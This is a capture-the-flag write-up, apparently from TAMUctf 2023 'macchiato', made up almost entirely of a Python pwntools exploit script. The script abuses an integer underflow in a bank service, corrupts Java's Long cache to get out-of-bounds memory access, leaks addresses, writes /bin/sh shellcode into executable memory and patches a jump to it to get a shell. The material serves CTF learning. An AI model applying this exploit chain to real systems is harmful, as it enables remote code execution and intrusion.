Rating:

The challenge author also released a writeup here: https://github.com/tamuctf/tamuctf-2023/tree/master/pwn/macchiato

And the winning team released their writeup here: https://astr.cc/blog/tamuctf-2023-writeup/#macchiato

import pwn
import warnings
import time

warnings.filterwarnings(action='ignore', category=BytesWarning)

pwn.context.arch = "amd64"

p = pwn.remote("localhost", "7010")
# p = pwn.remote("tamuctf.com", 443, ssl=True, sni="macchiato")

LONG_MAX = 9223372036854775807


def login(bank, username):
    p.sendlineafter("option:", "1")
    p.sendlineafter("bank name", bank)
    p.sendlineafter("username:", username)
    p.recvuntil("ID ")
    return int(p.recvuntil("!", drop=True))


def balance(account):
    p.sendlineafter("option:", "2")
    p.sendlineafter("option:", "1")
    p.sendlineafter("number (0-10):", str(account))
    p.recvuntil("now $")
    out = int(p.recvline())
    p.sendlineafter("option", "3")
    return out


def withdraw(account, amount):
    p.sendlineafter("option:", "2")
    p.sendlineafter("option:", "2")
    p.sendlineafter("number (0-10):", str(account))
    p.sendlineafter("amount", str(amount))
    p.sendlineafter("option", "3")


def write_value(account, value):
    curr = balance(account)
    print(f"{curr=} {value=}")

    if value > 0 and curr > 0:
        print(f"{balance(account)=}")

        withdraw(account, curr)
        print(f"{balance(account)=}")
        withdraw(account, LONG_MAX)
        print(f"{balance(account)=}")

        withdraw(account, 2)
        print(f"{balance(account)=}")

        withdraw(account, LONG_MAX - value + 2)
        print(f"{balance(account)=}")

    elif value < 0 and curr > 0:
        print(f"{balance(account)=}")

        withdraw(account, curr - 2)
        print(f"{balance(account)=}")

        withdraw(account, abs(value) + 2)
        print(f"{balance(account)=}")

    elif value < 0 and curr < 0:
        print(f"{balance(account)=}")

        withdraw(account, LONG_MAX - abs(curr))
        print(f"{balance(account)=}")

        withdraw(account, 2)
        print(f"{balance(account)=}")

        withdraw(account, 9223372036854775805 - 10)
        # withdraw(account, 1)
        print(f"{balance(account)=}")

        withdraw(account, abs(value) + 12)
        print(f"{balance(account)=}")

    elif value > 0 and curr < 0:
        print(f"0 {balance(account)=}")

        withdraw(account, LONG_MAX - abs(curr))
        print(f"1 {balance(account)=}")

        withdraw(account, 2)
        print(f"2 {balance(account)=}")

        withdraw(account, LONG_MAX - value)
        print(f"3 {balance(account)=}")

    assert balance(account) == value, balance(account)


def trigger_crash(account):
    p.sendlineafter("option:", "2")
    p.sendlineafter("option:", "2")
    p.sendlineafter("number (0-10):", str(account))
    p.sendlineafter("amount", str(1))


def upgrade():
    p.sendlineafter("option:", "3")


# Step 1: Enable BlazinglyFastBank accounts via Underflow
login("RegularBank", "me")
withdraw(0, LONG_MAX)
print(f"{balance(0)=}")
withdraw(0, 2)
print(f"{balance(0)=}")
upgrade()

# Step 2: Modify LongCache by bypass index check
login("java.lang.Long$LongCache", "cache")
print(f"LongCache.balance(0) = {balance(0)=}")
withdraw(128, LONG_MAX)
withdraw(128 + 10, LONG_MAX)
withdraw(128 + 10, 2 + 10)

# Step 3: Login to BlazinglyFastBank and grab hashCode
arrHashCode = login("BlazinglyFastBank", "me")
print(f"{hex(arrHashCode)=}")


# Step 4: Find spray_offsets
# me == 579
# notMe == 567
# notMeEither == 555

for i in range(500, 600):
    b = pwn.unsigned(balance(i))

    bHigh = b >> 32
    bLow = b & 0xFFFFFFFF

    print(f"{i=} {hex(arrHashCode)=} {hex(bHigh)=} {hex(bLow)=}")

    if arrHashCode == bHigh or arrHashCode == bLow:
        print(f"Found hashCode at index {i=}")
        # time.sleep(1)


# trigger_crash(-0x1000000 // 8)
# p.interactive()

# Leak arr addr
arr_addr = (pwn.unsigned(balance(574)) >> 32) + 0x10
print(f"{hex(arr_addr)=}")

# Step 5: Inject Shellcode (spray and pray)
spray_addr = 0x800001500

shellcode = pwn.asm(pwn.shellcraft.amd64.sh())

spray_offset = (spray_addr - arr_addr) // 8
i = 0
for chunk in pwn.group(8, shellcode, fill_value="\x90"):
    print(f"Writing {hex(spray_offset+i)=} {pwn.u64(chunk, sign='signed')=}")
    write_value(spray_offset + i, pwn.u64(chunk, sign="signed"))
    i += 1

# Step 6 (Optional): Verify shellcode
i = 0
for chunk in pwn.group(8, shellcode, fill_value="\x90"):
    print(f"Writing {hex(spray_offset+i)=} {pwn.u64(chunk, sign='signed')=}")
    b = balance(spray_offset + i)
    assert pwn.u64(chunk, sign='signed') == b
    i += 1


# Step 7 (Optiona): dump rwx asm
asm = b""
for i in range(20):
    asm += pwn.p64(balance(spray_offset - (0x1500 // 8) + i), sign="signed")

print(pwn.disasm(asm))


# Step 8 Inject Trampoline
jump = f"""
movabs r10, {spray_addr}
"""

jump_int = pwn.asm(jump)[:8]  # ignore final 2 null bytes
print(f"{jump_int=}")
jump_asm = pwn.u64(jump_int, signed='signed')

current_jump_value = balance(spray_offset - (0x1500 // 8))
print(f"{hex(current_jump_value)=}")
print(f"{hex(jump_asm)=}")


withdraw(spray_offset - (0x1500 // 8), current_jump_value - jump_asm)

p.interactive()
Original writeup (https://youtu.be/XkC23TDd-04).